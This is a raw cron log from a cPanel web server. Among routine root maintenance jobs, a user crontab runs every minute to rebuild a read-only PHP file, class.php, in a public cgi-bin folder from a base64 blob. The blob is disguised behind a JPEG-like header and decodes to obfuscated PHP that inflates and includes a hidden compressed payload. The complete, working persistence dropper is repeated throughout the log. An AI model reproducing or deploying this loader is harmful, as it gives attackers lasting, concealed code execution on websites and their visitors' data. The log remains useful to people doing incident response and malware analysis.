Aug 30 09:53:01 server CROND[16323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:53:01 server CROND[16324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:54:01 server CROND[16790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:54:01 server CROND[16791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:54:01 server CROND[16792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:55:01 server CROND[17172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:55:01 server CROND[17180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:55:01 server CROND[17182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:55:01 server CROND[17185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:55:01 server CROND[17183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:55:01 server CROND[17184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:55:01 server CROND[17181]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:56:01 server CROND[17992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:56:01 server CROND[17993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:56:01 server CROND[17994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:57:01 server CROND[18434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:57:01 server CROND[18436]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 09:57:01 server CROND[18435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:57:01 server CROND[18437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:58:01 server CROND[18814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:58:01 server CROND[18813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:58:01 server CROND[18815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:59:01 server CROND[19261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:59:01 server CROND[19262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:59:01 server CROND[19263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:00:01 server CROND[19687]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 10:00:01 server CROND[19688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:00:01 server CROND[19692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:00:01 server CROND[19694]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 10:00:01 server CROND[19695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:00:01 server CROND[19697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:00:01 server CROND[19700]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 10:00:01 server CROND[19702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:00:01 server CROND[19696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 10:00:01 server CROND[19698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:01:02 server CROND[20564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:01:02 server CROND[20565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:01:02 server CROND[20567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:01:02 server CROND[20566]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 10:01:02 server run-parts(/etc/cron.hourly)[20566]: starting 0anacron
Aug 30 10:01:02 server run-parts(/etc/cron.hourly)[20586]: finished 0anacron
Aug 30 10:02:01 server CROND[21032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:02:01 server CROND[21034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:02:01 server CROND[21035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:03:01 server CROND[21406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:03:01 server CROND[21407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:03:01 server CROND[21408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:04:01 server CROND[21804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:04:01 server CROND[21805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 10:04:01 server CROND[21806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:05:01 server CROND[22331]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
